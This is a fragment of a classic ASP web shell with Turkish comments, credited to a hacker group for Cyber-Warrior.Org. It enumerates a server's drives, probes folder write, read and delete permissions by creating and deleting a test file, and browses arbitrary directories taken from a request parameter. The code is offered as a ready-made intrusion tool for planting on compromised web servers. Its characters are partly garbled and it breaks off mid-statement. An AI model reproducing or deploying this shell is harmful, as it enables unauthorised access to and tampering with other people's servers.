%
' ####
' ### Code Hunters TIM/Asi_besiktasli Tarafndan Cyber-Warrior.Org i?in yazlmtr. / 14.07.2011
' ### Misyon Dahilinde Kullanmanz Dile?iyle...
' ####
'Karakter Kodlamas
Session.CodePage=1254
%>
ROOT(Ana Klas?r)")&vbcrlf
' Fso ile Serverdaki S?r?c?lere Ulayoruz
Set Suruculer = FSO.Drives
If Not islem="Drivers" Then
Response.Write " ||
S?r?c?ler: "
' Serverda ki Mevcut S?r?c?ler Yazdrlyor
For Each Surucu in Suruculer
Response.Write ("
"&Surucu.DriveLetter&":\ ")&vbcrlf
Next
End If
On Error GoTo 0
On Error Resume Next
Response.Write(" Klas?r izinleri: ")
'Aa?da ?nce ge?ici bir dosya oluturacaz oluturabiliyor ise yazma yetkisi var yazacak. Dosyay okuyabiliyosa okuma yetkisi var yazacak. Dosyay silebiliyorsa silme yetkisi var yazacak.
'Yazma Yetkisi
Set DosyaOlustur = Fso.CreateTextFile(Dizin & "\CodeHunters.txt", True)
Set DosyaOlustur = Nothing
'Hata verirse yazma yetkisi yok, Hata vermezse yazma yetkisi var
If Err<>0 then
Response.Write "Yazma Yetkisi Yok | "
Else
Response.Write "Yazma Yetkisi Var | "
End If
' E?er Yazma Yetkisinde Hata verirse silme yetkisinde vermemesi i?in aa?daki kodlar yazyoruz
On Error GoTo 0
On Error Resume Next
'Okuma Yetkisi
'Dosyay okumak i?in a?yoruz
'Hata verirse okuma yetkisi yok, Hata vermezse okuma yetkisi var
Set DosyaOku= Fso.OpenTextFile(Dizin & "\CodeHunters.txt")
Set DosyaOku=Nothing
If Err<>0 then
Response.Write "Okuma Yetkisi Yok | "
Else
Response.Write "Okuma Yetkisi Var | "
End If
On Error GoTo 0
On Error Resume Next
'Silme Yetkisi
'Oluturulan Ge?ici Dosya Siliniyor
'Hata verirse silme yetkisi yok hata vermezse silme yetkisi var
Fso.DeleteFile Dizin&"\CodeHunters.txt",true
If Err<>0 then
Response.Write "Silme Yetkisi Yok "
Else
Response.Write "Silme Yetkisi Var "
End If
On Error GoTo 0
On Error Resume Next
Response.Write("
")&vbcrlf
' islem De?ikenine G?re Farkl Sayfalar ?karlyor
Select Case islem
Case "git"
'Dizin formu bu sayfaya yollanyor. Bu sayfada formdan gelen bilgiye g?re kullancy y?nlendiriyor
If Len(Request.Form("path"))>0 Then
Response.Redirect("?Path="&Request.Form("path"))
End If
Case ""
' Urlden alnan Path Hazr hale getiriliyor
Set Klasor = FSO.GetFolder(Path)
' Dizindeki Alt Klas?rler ?ekiliyor
Set AltKlasorler = Klasor.SubFolders
' Dizindeki Dosyalar ?ekiliyor
Set Dosyalar = Klasor.Files
'?st Klas?r Varsa Link Ayarlanyor
If Klasor.IsRootFolder = False Then
Set UstKlasor = Klasor.ParentFolder
Response.Write "